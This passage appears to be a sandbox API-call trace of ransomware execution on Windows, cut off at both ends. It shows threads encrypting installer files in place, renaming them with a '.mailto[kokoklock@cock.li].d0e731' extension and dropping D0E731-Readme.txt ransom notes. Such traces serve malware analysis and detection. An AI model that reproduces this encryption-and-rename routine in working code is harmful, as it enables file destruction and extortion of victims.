RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.291] CloseHandle (hObject=0x3b8) returned 1 [0071.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.291] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" [0071.291] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.292] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.292] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.292] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.292] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\2052\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0071.292] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" [0071.292] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\d0e731-readme.txt")) returned 0xffffffff [0071.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0071.295] WriteFile (in: hFile=0x3b8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb7af858, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb7af858*=0x481, lpOverlapped=0x0) returned 1 [0071.296] CloseHandle (hObject=0x3b8) returned 1 [0071.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8188) returned 1 [0071.296] RtlExitUserThread (Status=0x1) Thread: id = 216 os_tid = 0x11d8 [0063.477] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0066.373] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.592] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0068.593] GetFileSizeEx (in: hFile=0x774, lpFileSize=0xb82f890 | out: lpFileSize=0xb82f890*=54456) returned 1 [0068.594] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xd4b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.594] ReadFile (in: hFile=0x774, lpBuffer=0xb82f864, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb82f860, lpOverlapped=0x0 | out: lpBuffer=0xb82f864*, lpNumberOfBytesRead=0xb82f860*=0x4, lpOverlapped=0x0) returned 1 [0068.595] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0068.595] NtQuerySystemTime (in: CurrentTime=0xb82f83c | out: CurrentTime=0xb82f83c*=132121176264940872) returned 0x0 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x52abc64c [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x77373334 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xc3736ef3 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xa0f21fda [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xcf0601f1 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x8e503897 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xbabd5a6 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x79e603f0 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xc45433c4 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x62a0e275 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xee40695 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x25876bfc [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xc66c6e69 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x108d77ee [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xeeb0ff51 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xdf0fd339 [0068.595] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x26213733 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x77c7e56c [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xad535e15 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x7d1d18b7 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xb67cd4d4 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x5f545562 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x32be31c2 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xc53386c5 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xb315a0a0 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x33b436f2 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xf63ebed3 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xeb343ee3 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xa6b15824 [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xe490f0ec [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0xf30b0f [0068.596] RtlRandom (in: Seed=0xb82f848 | out: Seed=0xb82f848) returned 0x1ca9d886 [0068.606] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.606] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb82f814, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb82f814*=0x4096, lpOverlapped=0x0) returned 1 [0068.607] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0068.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0068.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0068.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a38 [0068.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a60 [0068.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a60) returned 1 [0068.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0068.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0068.608] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb82f814, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xb82f814*=0x4096, lpOverlapped=0x0) returned 1 [0068.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.608] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xd4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.608] WriteFile (in: hFile=0x774, lpBuffer=0x3423a38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb82f84c, lpOverlapped=0x0 | out: lpBuffer=0x3423a38*, lpNumberOfBytesWritten=0xb82f84c*=0x20, lpOverlapped=0x0) returned 1 [0068.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a38) returned 1 [0068.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.608] WriteFile (in: hFile=0x774, lpBuffer=0x3423a10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb82f860, lpOverlapped=0x0 | out: lpBuffer=0x3423a10*, lpNumberOfBytesWritten=0xb82f860*=0x8, lpOverlapped=0x0) returned 1 [0068.608] WriteFile (in: hFile=0x774, lpBuffer=0xb82f878*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb82f860, lpOverlapped=0x0 | out: lpBuffer=0xb82f878*, lpNumberOfBytesWritten=0xb82f860*=0x4, lpOverlapped=0x0) returned 1 [0068.608] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb82f860, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb82f860*=0x4, lpOverlapped=0x0) returned 1 [0068.609] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb82f860, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb82f860*=0x6c, lpOverlapped=0x0) returned 1 [0068.609] WriteFile (in: hFile=0x774, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb82f860, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0xb82f860*=0x20, lpOverlapped=0x0) returned 1 [0068.609] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb82f860, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb82f860*=0x4, lpOverlapped=0x0) returned 1 [0068.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239e8) returned 1 [0068.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a10) returned 1 [0068.609] CloseHandle (hObject=0x774) returned 1 [0071.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bf98 [0071.322] wcscpy (in: _Dest=0x347bf98, _Source="C:\\588bce7c90097ed212\\1049\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf" [0071.322] wcscat (in: _Dest=0x347bf98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.322] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.324] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf98) returned 1 [0071.324] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.325] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1049\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0071.325] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" [0071.325] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\d0e731-readme.txt")) returned 0x20 [0071.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fac88) returned 1 [0071.325] RtlExitUserThread (Status=0x1) Thread: id = 217 os_tid = 0x11dc [0063.478] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0064.635] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.302] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0071.302] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0xb8afea8 | out: lpFileSize=0xb8afea8*=81482) returned 1 [0071.302] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x13e46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.302] ReadFile (in: hFile=0x3c8, lpBuffer=0xb8afe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb8afe78, lpOverlapped=0x0 | out: lpBuffer=0xb8afe7c*, lpNumberOfBytesRead=0xb8afe78*=0x4, lpOverlapped=0x0) returned 1 [0071.304] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.304] NtQuerySystemTime (in: CurrentTime=0xb8afe54 | out: CurrentTime=0xb8afe54*=132121176291972620) returned 0x0 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xfc40d796 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x2cb924d6 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x24d91c6b [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x90b9b9b7 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x62c3f9a1 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x2a991d16 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x5642955 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xb4753eb1 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x4f8c1197 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xc58c87ac [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xb1551d8d [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x26ca1ad3 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x22156c17 [0071.304] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x2bbc68f5 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x5ee0e6ac [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x9e756996 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x475a9553 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xf14174a2 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x6174c8a3 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x49d864a [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x13a6350c [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x7c4bc53c [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x6703305d [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x31e6f13f [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x50e64e97 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xb6174d77 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x431f8b14 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xeb9f140e [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xa1431f98 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0xe8c57bf0 [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x353f2a1d [0071.305] RtlRandom (in: Seed=0xb8afe60 | out: Seed=0xb8afe60) returned 0x7f3d0714 [0071.316] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.316] ReadFile (in: hFile=0x3c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb8afe2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb8afe2c*=0x4096, lpOverlapped=0x0) returned 1 [0071.317] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e88 [0071.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0071.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e88 [0071.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0071.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.318] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb8afe2c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xb8afe2c*=0x4096, lpOverlapped=0x0) returned 1 [0071.318] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.318] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x13e4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb8afe64, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xb8afe64*=0x20, lpOverlapped=0x0) returned 1 [0071.318] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.318] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb8afe78, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xb8afe78*=0x8, lpOverlapped=0x0) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0xb8afe90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb8afe78, lpOverlapped=0x0 | out: lpBuffer=0xb8afe90*, lpNumberOfBytesWritten=0xb8afe78*=0x4, lpOverlapped=0x0) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb8afe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb8afe78*=0x4, lpOverlapped=0x0) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb8afe78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb8afe78*=0x6c, lpOverlapped=0x0) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb8afe78, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xb8afe78*=0x20, lpOverlapped=0x0) returned 1 [0071.318] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb8afe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb8afe78*=0x4, lpOverlapped=0x0) returned 1 [0071.318] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e38) returned 1 [0071.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.319] CloseHandle (hObject=0x3c8) returned 1 [0071.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.319] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" [0071.319] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.319] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.319] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.320] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.320] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.320] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1049\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0071.320] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" [0071.320] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\d0e731-readme.txt")) returned 0xffffffff [0071.320] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0071.322] WriteFile (in: hFile=0x3b8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb8afe74, lpOverlapped=0x0 | out: 